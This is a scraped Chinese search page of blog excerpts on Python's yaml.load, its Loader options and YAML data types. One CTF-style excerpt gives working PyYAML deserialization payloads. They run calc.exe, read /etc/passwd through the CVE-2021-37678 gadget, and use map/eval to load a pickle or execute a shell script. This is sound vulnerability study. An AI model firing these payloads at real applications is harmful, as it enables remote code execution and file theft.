精华内容
下载资源
问答
  • yaml.load
    千次阅读
    2022-07-16 19:56:50

    yaml.load(f, Loader=yaml.FullLoader) Loader参数的作用

    // An highlighted block
    """
    1.
    yaml.load(f, Loader=yaml.FullLoader)
     
    2.
    yaml.warnings({'YAMLLoadWarning': False})  # 全局设置警告,不推荐
     
    Loader的几种加载方式
     
    BaseLoader - -仅加载最基本的YAML
     
    SafeLoader - -安全地加载YAML语言的子集。建议用于加载不受信任的输入。
     
    FullLoader - -加载完整的YAML语言。避免任意代码执行。这是当前(PyYAML5.1)默认加载器调用
    yaml.load(input)(发出警告后)。
     
    UnsafeLoader - -(也称为Loader向后兼容性)原始的Loader代码,可以通过不受信任的数据输入轻松利用。
     
    """
    ``
    
    更多相关内容
  • yaml.load()函数

    2022-09-11 22:30:02
    yaml文件数据为键值对。

    跟json文件对比,一种格式的转换,python通过open方式读取文件数据,再通过load函数将数据转化为列表或字典

    import yaml
    import os
    
    
    def get_yaml_data(yaml_file):
        # 打开yaml文件
        print("***获取yaml文件数据***")
        file = open(yaml_file, 'r', encoding="utf-8")
        file_data = file.read()
        file.close()
        
        print(file_data)
        print("类型:", type(file_data))
    
    
        # 将字符串转化为字典或列表
        print("***转化yaml数据为字典或列表***")
        data = yaml.load(file_data)
        print(data)
        print("类型:", type(data))
        return data
    current_path = os.path.abspath(".")
    yaml_path = os.path.join(current_path, "config.yaml")
    get_yaml_data(yaml_path)
    
    输出:
    """
    ***获取yaml文件数据***
    # yaml键值对:即python中字典
    usr: my
    psw: 123455
    类型:<class 'str'>
    ***转化yaml数据为字典或列表***
    {'usr': 'my', 'psw': 123455}
    类型:<class 'dict'>
    """
    

    yaml文件数据为键值对
    (1)yaml文件中内容为键值对:

    yaml键值对:即python中字典

    usr: my
    psw: 123455
    s: " abc\n"
    python解析yaml文件后获取的数据:
    
    {'usr': 'my', 'psw': 123455, 's': ' abc\n'}
    2)yaml文件中内容为“键值对'嵌套"键值对"
    

    复制代码

    yaml键值对嵌套:即python中字典嵌套字典

    usr1:
      name: a
      psw: 123
    usr2:
      name: b
      psw: 456
    复制代码
     
    

    python解析yaml文件后获取的数据:

    {'usr1': {'name': 'a', 'psw': 123}, 'usr2': {'name': 'b', 'psw': 456}}3)yaml文件中“键值对”中嵌套“数组”
    

    复制代码

    yaml键值对中嵌套数组

    usr3:
      - a
      - b
      - c
    usr4:
      - b
    复制代码
    4. yaml文件数据为数组
    (1)yaml文件中内容为数组
    

    yaml数组

    - a
    - b
    - 5
    python解析yaml文件后获取的数据:
    
    ['a', 'b', 5]2)yaml文件“数组”中嵌套“键值对”
    

    yaml"数组"中嵌套"键值对"- usr1: aaa

    - psw1: 111
      usr2: bbb
      psw2: 222
    python解析yaml文件后获取的数据
    
    [{'usr1': 'aaa'}, {'psw1': 111, 'usr2': 'bbb', 'psw2': 222}]
     
    
    展开全文
  • yaml.loadyaml.dump

    千次阅读 2021-03-13 09:55:38
    YAML是一种直观的能够被...python通过open方式读取文件数据,再通过load函数将数据转化为列表或字典; import yaml import os def get_yaml_data(yaml_file): # 打开yaml文件 print("***获取yaml文件数据***") f

    YAML是一种直观的能够被电脑识别的的数据序列化格式,容易被人类阅读,并且容易和脚本语言交互。YAML类似于XML,但是语法比XML简单得多,对于转化成数组或可以hash的数据时是很简单有效的。

    读取yaml文件数据

    python通过open方式读取文件数据,再通过load函数将数据转化为列表或字典;

    import yaml
    import os
    
    
    def get_yaml_data(yaml_file):
        # 打开yaml文件
        print("***获取yaml文件数据***")
        file = open(yaml_file, 'r', encoding="utf-8")
        file_data = file.read()
        file.close()
        
        print(file_data)
        print("类型:", type(file_data))
    
    
        # 将字符串转化为字典或列表
        print("***转化yaml数据为字典或列表***")
        data = yaml.load(file_data)
        print(data)
        print("类型:", type(data))
        return data
    current_path = os.path.abspath(".")
    yaml_path = os.path.join(current_path, "config.yaml")
    get_yaml_data(yaml_path)
    
    输出:
    """
    ***获取yaml文件数据***
    # yaml键值对:即python中字典
    usr: my
    psw: 123455
    类型:<class 'str'>
    ***转化yaml数据为字典或列表***
    {'usr': 'my', 'psw': 123455}
    类型:<class 'dict'>
    """
    

    yaml文件数据为键值对

    (1)yaml文件中内容为键值对:

    # yaml键值对:即python中字典
    usr: my
    psw: 123455
    s: " abc\n"
    

    python解析yaml文件后获取的数据:

    {'usr': 'my', 'psw': 123455, 's': ' abc\n'}
    

    2)yaml文件中内容为“键值对’嵌套"键值对"

    # yaml键值对嵌套:即python中字典嵌套字典
    usr1:
      name: a
      psw: 123
    usr2:
      name: b
      psw: 456
    

    python解析yaml文件后获取的数据:

    {'usr1': {'name': 'a', 'psw': 123}, 'usr2': {'name': 'b', 'psw': 456}}
    

    (3)yaml文件中“键值对”中嵌套“数组”

    # yaml键值对中嵌套数组
    usr3:
      - a
      - b
      - c
    usr4:
      - b
    

    yaml文件数据为数组

    (1)yaml文件中内容为数组

    # yaml数组
    - a
    - b
    - 5
    

    python解析yaml文件后获取的数据:

    ['a', 'b', 5]
    

    (2)yaml文件“数组”中嵌套“键值对”

    # yaml"数组"中嵌套"键值对"- usr1: aaa
    - psw1: 111
      usr2: bbb
      psw2: 222
    

    python解析yaml文件后获取的数据

    [{'usr1': 'aaa'}, {'psw1': 111, 'usr2': 'bbb', 'psw2': 222}]
    

    load函数中的Loader=yaml.FullLoader

    #读取clinical的yaml文件
    def read_clin_file(clinfile):
        with open(clinfile,'r') as CLIN:
            #备注:yaml版本5.1之后弃用,YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated
            clin_info = yaml.load(CLIN,Loader=yaml.FullLoader) #加上Loader=yaml.FullLoader 避免警告。
            name = clin_info['name']
            pro_id = clin_info['sample_id']
            return(name,pro_id)
    

    yaml.dump 建立一个yaml文件

    with open('C:\\Users\\51102\\Desktop\\123\\iddnfo.yaml','w') as ff:
        aproject = {'name': 'Silenthand Olleander',
                    'race': 'Human',
                    'traits': ['ONE_HAND', 'ONE_EYE']
                    }
        yaml.dump(aproject,ff)
        ff.close()
    
    import yaml
    aproject = {'name': 'Silenthand Olleander',
                'race': 'Human',
                'traits': ['ONE_HAND', 'ONE_EYE']
                }
    
    print(yaml.dump(aproject,))
    

    参考(感谢)
    https://www.cnblogs.com/sunbeibei/p/13750991.html
    https://www.cnblogs.com/klb561/p/9326677.html

    展开全文
  • Pyyaml-yaml.load反序列化漏洞

    千次阅读 2022-08-30 15:47:11
    YAML 是 “YAML Ain’t a Markup Language”(YAML 不是一种标记语言)的递归缩写。在开发的这种语言时,YAML 的意思其实是:“Yet Another Markup Language”(仍是一种标记语言)。YAML 的语法和其他高级语言类似...

    #CTF #CTF-漏洞使用

    前两天打网鼎杯的时候遇到的这题,在这个反序列化漏洞上,试了很多种方法都没有成功,非常遗憾,所以就简单记录一下yaml.load这个漏洞。

    介绍

    YAML 是 “YAML Ain’t a Markup Language”(YAML 不是一种标记语言)的递归缩写。在开发的这种语言时,YAML 的意思其实是:“Yet Another Markup Language”(仍是一种标记语言)。

    YAML 的语法和其他高级语言类似,并且可以简单表达清单、散列表,标量等数据形态。它使用空白符号缩进和大量依赖外观的特色,特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲(例如:许多电子邮件标题格式和YAML非常接近)。

    YAML 的配置文件后缀为 .yml,如:blog.yml 。

    基础语法

    • 大小写敏感
    • 使用缩进表示层级关系
    • 缩进不允许使用tab,只允许空格
    • 缩进的空格数不重要,只要相同层级的元素左对齐即可
    • '#'表示注释

    数据类型

    YAML 支持以下几种数据类型:

    • 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)
    • 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)
    • 纯量(scalars):单个的、不可再分的值

    Yaml.dump序列化与反序列化

    能够将python的多种数据类型的数据转换成Yaml格式的字符串

    例如:

    例1
    例子二
    相关操作官方有提供相应的文档PyYaml-官方文档

    反序列化漏洞

    基本实现操作

    这一部分官方文档说明的很清楚[[PyYaml-官方文档#Objects]]

    调用自定义的类

    例子:

    1. 序列化:
    import yaml  
      
    class User:  
      
       def __init__(self):  
          self.name = ""  
      
       def set(self,txt):  
          self.name = txt  
      
    user = User()  
    user.set("Blog")  
      
    content = yaml.dump(user)  
    print(content)
    

    结果为:

    请添加图片描述

    1. 反序列化

    继续以上面为例:

    sts1 = """!!python/object:__main__.User
    name: Blog
    """
    sts2 = "!!python/object:__main__.User {name: Blog}"
    
    item1 = yaml.load(sts1)
    item2 = yaml.load(sts2)
    print(item1)
    print(item2)
    
    print(item1.name)
    print(item2.name)
    

    请添加图片描述

    调用系统函数

    很遗憾,经过我的测试,对于PyYaml>=5.1.0版本的yaml.load无法直接执行函数,只能生成函数的对象,例如:

    import yaml  
    from yaml import Loader  
      
    payload = '!!python/object/apply:subprocess.check_output [[calc.exe]]'
    yaml.load(payload)
    

    结果:

    请添加图片描述

    如果想要实现任意代码执行,则需要在yaml.load中加入参数Loader=Loader,并且from yaml import Loader

    CVE-2021-37678漏洞

    TensorFlow 和 TensorFlow 的封装项目 Keras 的维护人员修复了因 YAML 解析不安全而引发的不可信序列化漏洞。该漏洞的编号为 CVE-2021-37678,为严重漏洞,可使攻击者在应用程序反序列化YAML 格式下的 Keras 模型时执行任意代码。

    import yaml
     
    payload = '''
    !!python/object/new:type
    args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
    listitems: "__import__('os').system('cat /etc/passwd')"
    '''
    
    yaml.load(payload)
    
    1. 'extend’的出现
      这个漏洞的原理,我去看了一下yaml.load的源码,似乎发现了一些端倪

    请添加图片描述

    construct_python_object_apply函数里面,有一个如下的调用:

    请添加图片描述

    instance是创建的实例,按照listitems的属性,应当是调用.extend在数组末尾添加listitems中的数据,但是当instance是一个字典,并且其中有一个{'extend':function}那么extend就发生了变化,可以实现任意函数的调用了.

    1. type函数

    可以看到yaml字符串中有一个!!python/object/new:type,这个是Python的一个函数,我之前只用过type(“add”)这种一个参数的,但是type有好几种参数类型,这里参考[[Type-函数说明]],因此创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数,很神奇

    无{}和[]符号反序列化漏洞

    下面这两种是我看的其他师傅的方法

    !!python/object/new:bytes  
            - !!python/object/new:map  
              - !!python/name:eval  
              - ["__import__\x28'pickle'\x29.load\x28open\x28'fileinfo/pik','rb'\x29\x29"]
    
    !!python/object/new:frozenset  
    - !!python/object/new:map  
      - !!python/name:os.popen  
      - ["bash /app/fileinfo/cmd"]
    

    实际上tuple也同样

    !!python/object/new:tuple  
            - !!python/object/new:map  
              - !!python/name:eval  
              - ["print(123)"]
    

    原理分析

    yaml正常无Loader指定时,好像是无法执行函数的命令,因此需要借助其他函数,首先借助的是[[Map-函数说明 | map函数]],由于返回的是一个迭代器,但是如何执行这个迭代器是一个很大的问题,通过查看yaml.load的源码,我最后终于定位到执行!!python...标签的代码了

    请添加图片描述

    对于上面使用的frozensetbytes以及测试过的tuple就相当于里面的cls,而args参数则是map(function,args)的实例,但是到这一步已经没法再往下找了,后面的代码就无法定位了…
    所以只要python某一个内置类cls执行cls.__new__(cls,*args,**kwds)存在任意执行代码就可以使用了

    经过测试,发现frozenset/bytes/tuple三个类在这种代码下可以实现任意代码执行

    感想

    作为WEB菜鸡,记录一下yaml这个漏洞,之后写WP记录一下

    展开全文
  • 关于result = yaml.load(data, Loader=yaml.FullLoader)
  • # -*- coding: utf-8 -*- ...* @Description : 读取yaml文件 * @LastEditTime : pip install pyyaml # db.yaml mysql: config: host: "127.0.0.1" port: 3306 user: "root" password: "" databas...
  • ch = self.yaml['ch'] = self.yaml.get('ch', ch) # input channels 这个是从 yolov3 代码中看到的,刚开始的时候不理解 yaml.get含义,到其官网或者代码没看到有 get 这个方法,无意中想,有get,那应该有set,...
  • 最近在使用yaml第三方库解析yaml文件报错,在这里记录一下; 代码原文 def get_yaml_data(yml_file): with open(yml_file, 'r', encoding='utf-8') as f: ...YAMLLoadWarning: calling yaml.load()
  • 直接使用 yaml.load(stream) 报错如下: File "D:\workplaces\python\GraphSAINT-master\graphsaint\utils.py", line 112, in parse_n_prepare train_config = yaml.load(f_train_config) TypeError: load() ...
  • 前面的文章中提到,对YAML文件的格式检查,除了IDE插件和在线的工具之外,直接使用各种语言的YAML模块也可以实现相同的功能,这篇文章将使用python的yaml模块对前文中提及到的YAML示例进行说明。
  • Use yaml.load instead, which is now safe by default err: Error: Function yaml.safeLoad is removed in js-yaml 4. Use yaml.load instead, which is now safe by default. at Object.safeLoad (F:\W
  • 新装了Pyyaml模块后,运行如下程序: ...YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for
  • 使用python yaml读取文件时,yaml.load(file)报以下错误: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated 报错原因 较新版本的yaml在加载文件时需要指定Loader保证安全性 解决方法 data ...
  • 解决办法,在文件中搜索调用yarm的地方,在后面添加 Loader=yaml.FullLoader 即可
  • 读取yaml文件警告提示: 解决办法: 加上 Loader=yaml.FullLoader yaml.load(xxx, Loader=yaml.FullLoader) ,运行读取yaml文件 警告解决
  • 这是因为 YAML 5.1 版本后弃用了 yaml.load(file) 这个用法,因为觉得很不安全, 5.1 版本之后就修改了需要指定 Loader,通过默认加载​​器(FullLoader)禁止执行任意函数,该 load 函数也变得更加安全。...
  • Yaml更新并弃用了原有的yaml.load() 详见PyYAML yaml.load(input) Deprecation · yaml/pyyaml Wiki · GitHub 【解决方案】 加上"Loader=yaml.FullLoader" yaml.load(input, Loader=yaml.FullLoader)
  • 警告提示:YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details. 问题分析 YAML 5.1版本后弃...
  • d = yaml.load(f) # 转列表 E TypeError: load() missing 1 required positional argument: 'Loader' 换成: yaml.full_load(),
  • yaml_content = yaml.load(stream) E TypeError: load() missing 1 required positional argument: 'Loader' 解决 由于 python load 存在一些安全问题,所以建议使用 safe_laod 来进行文件的加载。 yaml_content =...
  • PyYAML yaml.load(input)弃用

    千次阅读 2019-10-15 17:38:40
    本页说明了对PyYAML 5.1不推荐使用的纯yaml.load(input)函数。请参阅脚注。 不建议使用不指定参数 PyYAML的yaml.load功能。在PyYAML 5.1版中,您会收到警告,但是该功能仍然可以使用。请参阅下面的如何禁用警告。...
  • 首先,conda安装的没用(conda install yaml) 其次,pip安装(pip install pyyaml),降低pyyaml的版本就行了。本人一开始装的6.0,降到了3.12,就不需要Loader这个参数了。
  • yaml.load()从5.1版本之后不再推荐使用

    千次阅读 2020-02-20 20:18:03
    yaml升级到5.3版本之后,使用yaml.load()会有警告信息。 YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load ...
  • 警告提示:YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details. YAML 5.1版本后弃用了yaml....
  • YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe.Please read https://msg.pyyaml.org/load for full details. yaml_dict = yaml.load(f) 原因分析: ...
  • YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details. 报错原因: YAML 5.1版本后弃用了yaml....
  • YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsa 解决1: 5.1弃用了load原本的用法 在yaml.load(list, Loader=yaml.FullLoader)加上 Loader=yaml....
  • 使用yaml.dump写saltstack的sls文件发现跟yaml.load出来的再dump回去格式不一样#!/usr/bin/python3# -*-coding:utf-8-*-data = yaml.load("""base:game_1.1.1.1:- games.game1111game_2.2.2.2:- games.game2222""")...
  • YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details. 其实也不影响使用...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 38,240
精华内容 15,296
关键字:

yaml.load

友情链接: 4.1_USB_E2PROM.rar